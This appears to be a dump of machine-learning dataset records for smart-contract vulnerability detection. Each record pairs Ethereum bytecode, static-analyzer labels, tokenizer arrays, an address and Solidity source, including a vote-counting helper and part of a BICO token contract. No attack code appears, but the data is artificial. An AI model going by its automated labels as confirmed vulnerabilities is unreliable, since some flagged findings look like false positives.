6f756e7420657863656564732062616c616e6365536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573735361666545524332303a204552433230206f7065726174696f6e20646964206e6f74207375636365656445524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f5acfd09e87c0e0c91649c917b687b73362797cc26a1c21a7d92ee5d568457a464736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "msg-value-loop", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'msg-value-loop', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 3540, 2497, 8889, 2050, 2629, 2063, 2475, 9468, 7011, 2575, 2278, 2683, 4402, 2063, 2487, 4783, 2546, 2575, 17465, 19961, 2549, 2063, 21084, 18827, 22394, 2620, 2620, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 8785, 1013, 8785, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 8785, 1013, 3647, 18900, 2232, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 9413, 2278, 11387, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 19706, 1013, 2065, 4402, 26895, 22471, 2953, 1012, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,838
0x95cb39a64390994dd8c1cc5d8a29dffde4212298
// SPDX-License-Identifier: MIT pragma solidity >0.8.0; interface ICompLikeToken { function getCurrentVotes(address) external view returns (uint256); function delegates(address) external view returns (address); function balanceOf(address) external view returns (uint256); } contract CompLikeVotesInclusive { function getVotesInclusive(ICompLikeToken token, address account) public view returns (uint256 votes) { address delegate = token.delegates(account); votes = token.getCurrentVotes(account); if (delegate == address(0)) votes += token.balanceOf(account); return votes; } function getMultipleVotesInclusive(ICompLikeToken token, address[] calldata accounts) external view returns (uint256[] memory scores) { uint256 len = accounts.length; scores = new uint256[](len); for (uint256 i; i < len; i++) scores[i] = getVotesInclusive(token, accounts[i]); } }
0x608060405234801561001057600080fd5b50600436106100365760003560e01c8063cbf3bd091461003b578063d7318aef1461006b575b600080fd5b61005560048036038101906100509190610432565b61009b565b604051610062919061055a565b60405180910390f35b610085600480360381019061008091906105a8565b610167565b60405161009291906105f7565b60405180910390f35b606060008383905090508067ffffffffffffffff8111156100bf576100be610612565b5b6040519080825280602002602001820160405280156100ed5781602001602082028036833780820191505090505b50915060005b8181101561015e5761012c8686868481811061011257610111610641565b5b90506020020160208101906101279190610670565b610167565b83828151811061013f5761013e610641565b5b6020026020010181815250508080610156906106cc565b9150506100f3565b50509392505050565b6000808373ffffffffffffffffffffffffffffffffffffffff1663587cde1e846040518263ffffffff1660e01b81526004016101a39190610724565b60206040518083038186803b1580156101bb57600080fd5b505afa1580156101cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101f39190610754565b90508373ffffffffffffffffffffffffffffffffffffffff1663b4b5ea57846040518263ffffffff1660e01b815260040161022e9190610724565b60206040518083038186803b15801561024657600080fd5b505afa15801561025a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061027e91906107ad565b9150600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561034c578373ffffffffffffffffffffffffffffffffffffffff166370a08231846040518263ffffffff1660e01b81526004016102ee9190610724565b60206040518083038186803b15801561030657600080fd5b505afa15801561031a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061033e91906107ad565b8261034991906107da565b91505b5092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006103888261035d565b9050919050565b600061039a8261037d565b9050919050565b6103aa8161038f565b81146103b557600080fd5b50565b6000813590506103c7816103a1565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126103f2576103f16103cd565b5b8235905067ffffffffffffffff81111561040f5761040e6103d2565b5b60208301915083602082028301111561042b5761042a6103d7565b5b9250929050565b60008060006040848603121561044b5761044a610353565b5b6000610459868287016103b8565b935050602084013567ffffffffffffffff81111561047a57610479610358565b5b610486868287016103dc565b92509250509250925092565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6000819050919050565b6104d1816104be565b82525050565b60006104e383836104c8565b60208301905092915050565b6000602082019050919050565b600061050782610492565b610511818561049d565b935061051c836104ae565b8060005b8381101561054d57815161053488826104d7565b975061053f836104ef565b925050600181019050610520565b5085935050505092915050565b6000602082019050818103600083015261057481846104fc565b905092915050565b6105858161037d565b811461059057600080fd5b50565b6000813590506105a28161057c565b92915050565b600080604083850312156105bf576105be610353565b5b60006105cd858286016103b8565b92505060206105de85828601610593565b9150509250929050565b6105f1816104be565b82525050565b600060208201905061060c60008301846105e8565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60006020828403121561068657610685610353565b5b600061069484828501610593565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006106d7826104be565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561070a5761070961069d565b5b600182019050919050565b61071e8161037d565b82525050565b60006020820190506107396000830184610715565b92915050565b60008151905061074e8161057c565b92915050565b60006020828403121561076a57610769610353565b5b60006107788482850161073f565b91505092915050565b61078a816104be565b811461079557600080fd5b50565b6000815190506107a781610781565b92915050565b6000602082840312156107c3576107c2610353565b5b60006107d184828501610798565b91505092915050565b60006107e5826104be565b91506107f0836104be565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156108255761082461069d565b5b82820190509291505056fea26469706673582212209fef306c2fb3a9f030820eba747d509892b76172f85e9342b2457e2d9dfe1d9664736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 27421, 23499, 2050, 21084, 23499, 2692, 2683, 2683, 2549, 14141, 2620, 2278, 2487, 9468, 2629, 2094, 2620, 2050, 24594, 20952, 2546, 3207, 20958, 12521, 24594, 2620, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1028, 1014, 1012, 1022, 1012, 1014, 1025, 8278, 24582, 25377, 10359, 18715, 2368, 1063, 3853, 2131, 10841, 14343, 3372, 22994, 2229, 1006, 4769, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 10284, 1006, 4769, 1007, 6327, 3193, 5651, 1006, 4769, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1065, 3206, 4012, 24759, 17339, 22994, 2229, 2378, 23633, 1063, 3853, 2131, 22994, 2229, 2378, 23633, 1006, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,839
0x95cc3a10636c5bdffe4045d7bf00efb787e1bbe1
// Sources flattened with hardhat v2.6.5 https://hardhat.org // File @openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol@v4.3.2 // SPDX-License-Identifier: MIT pragma solidity 0.8.4; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // File @openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol@v4.3.2 /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuardUpgradeable is Initializable { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; function __ReentrancyGuard_init() internal initializer { __ReentrancyGuard_init_unchained(); } function __ReentrancyGuard_init_unchained() internal initializer { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } uint256[49] private __gap; } // File @openzeppelin/contracts-upgradeable/access/IAccessControlUpgradeable.sol@v4.3.2 /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControlUpgradeable { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // File @openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol@v4.3.2 /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File @openzeppelin/contracts-upgradeable/utils/introspection/IERC165Upgradeable.sol@v4.3.2 /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File @openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol@v4.3.2 /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal initializer { __ERC165_init_unchained(); } function __ERC165_init_unchained() internal initializer { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } uint256[50] private __gap; } // File contracts/bico-token/bico/BicoTokenImplementation.sol pragma solidity 0.8.4; /** * @dev Context variant with ERC2771 support. */ abstract contract ERC2771ContextUpgradeable is Initializable { /* * Forwarder singleton we accept calls from */ address public _trustedForwarder; function __ERC2771Context_init(address trustedForwarder) internal initializer { __ERC2771Context_init_unchained(trustedForwarder); } function __ERC2771Context_init_unchained(address trustedForwarder) internal initializer { _trustedForwarder = trustedForwarder; } function isTrustedForwarder(address forwarder) public view virtual returns (bool) { return forwarder == _trustedForwarder; } function _msgSender() internal view virtual returns (address sender) { if (isTrustedForwarder(msg.sender)) { // The assembly code is more direct than the Solidity version using `abi.decode`. assembly { sender := shr(96, calldataload(sub(calldatasize(), 20))) } } else { return msg.sender; } } function _msgData() internal view virtual returns (bytes calldata) { if (isTrustedForwarder(msg.sender)) { return msg.data[:msg.data.length - 20]; } else { return msg.data; } } uint256[49] private __gap; } /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract PausableUpgradeable is Initializable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal initializer { __Pausable_init_unchained(); } function __Pausable_init_unchained() internal initializer { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "BICO:: Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "BICO:: Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(msg.sender); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(msg.sender); } uint256[49] private __gap; } /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControlUpgradeable is Initializable, IAccessControlUpgradeable, ERC165Upgradeable { function __AccessControl_init() internal initializer { __ERC165_init(); __AccessControl_init_unchained(); } function __AccessControl_init_unchained() internal initializer { } struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, msg.sender); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "BICO:: AccessControl: account ", StringsUpgradeable.toHexString(uint160(account), 20), " is missing role ", StringsUpgradeable.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == msg.sender, "BICO:: AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, msg.sender); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, msg.sender); } } uint256[49] private __gap; } /** * @title Biconomy Protocol Governance contract * @dev All contracts that will be owned by a Governor entity should extend this contract. */ contract GovernedUpgradeable is Initializable { // -- State -- address public governor; address public pendingGovernor; // -- Events -- event NewPendingOwnership(address indexed from, address indexed to); event NewOwnership(address indexed from, address indexed to); /** * @dev Check if the caller is the governor. */ modifier onlyGovernor { require(msg.sender == governor, "BICO:: Only Governor can call"); _; } /** * @dev Initialize the governor to the contract caller. */ function __Governed_init(address _initGovernor) internal initializer { __Governed_init_unchained(_initGovernor); } function __Governed_init_unchained(address _initGovernor) internal initializer { governor = _initGovernor; } /** * @dev Admin function to begin change of governor. The `_newGovernor` must call * `acceptOwnership` to finalize the transfer. * @param _newGovernor Address of new `governor` */ function transferOwnership(address _newGovernor) external onlyGovernor { require(_newGovernor != address(0), "BICO:: Governor must be set"); address oldPendingGovernor = pendingGovernor; pendingGovernor = _newGovernor; emit NewPendingOwnership(oldPendingGovernor, pendingGovernor); } /** * @dev Admin function for pending governor to accept role and update governor. * This function must called by the pending governor. */ function acceptOwnership() external { require( pendingGovernor != address(0) && msg.sender == pendingGovernor, "Caller must be pending governor" ); address oldGovernor = governor; address oldPendingGovernor = pendingGovernor; governor = pendingGovernor; pendingGovernor = address(0); emit NewOwnership(oldGovernor, governor); emit NewPendingOwnership(oldPendingGovernor, pendingGovernor); } uint256[49] private __gap; } /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length if (signature.length != 65) { revert("BICO:: ECDSA: invalid signature length"); } // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "BICO:: ECDSA: invalid signature 's' value"); require(v == 27 || v == 28, "BICO:: ECDSA: invalid signature 'v' value"); // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); require(signer != address(0), "BICO:: ECDSA: invalid signature"); return signer; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * replicates the behavior of the * https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`] * JSON-RPC method. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } } contract BicoTokenImplementation is Initializable, ERC2771ContextUpgradeable, PausableUpgradeable, AccessControlUpgradeable, GovernedUpgradeable, ReentrancyGuardUpgradeable { // -- State ERC20-- mapping(address => uint256) private _balances; uint8 internal _initializedVersion; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; // -- State Access Control custom roles-- bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); /// @notice The timestamp after which minting may occur uint public mintingAllowedAfter; /// @notice Minimum time between mints uint32 public minimumTimeBetweenMints; /// @notice Cap on the percentage of totalSupply that can be minted at each mint uint8 public mintCap; // -- State Gas abstraction methods-- /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPE_HASH = keccak256( "EIP712Domain(string name,string version,address verifyingContract,bytes32 salt)" ); bytes32 public constant APPROVE_TYPEHASH = keccak256( "Approve(address owner,address spender,uint256 value,uint256 batchId,uint256 batchNonce,uint256 deadline)" ); bytes32 public constant TRANSFER_TYPEHASH = keccak256( "Transfer(address sender,address recipient,uint256 amount,uint256 batchId,uint256 batchNonce,uint256 deadline)" ); bytes32 private DOMAIN_SEPARATOR; /// @notice A record of states for signing / validating signatures mapping(address => mapping(uint256 => uint256)) public nonces; // -- Events-- /** * @dev Emitted when trusted forwarder is updated to * another (`trustedForwarder`). * * Note that `trustedForwarder` may be zero. `actor` is msg.sender for this action. */ event TrustedForwarderChanged(address indexed truestedForwarder, address indexed actor); /** * @dev Emitted when minting allowed after timestamp is changed through governance * * Note that `_mintingAllowedAfter` may be zero. `actor` is msg.sender for this action. */ event MintingAllowedAfterChanged(uint indexed 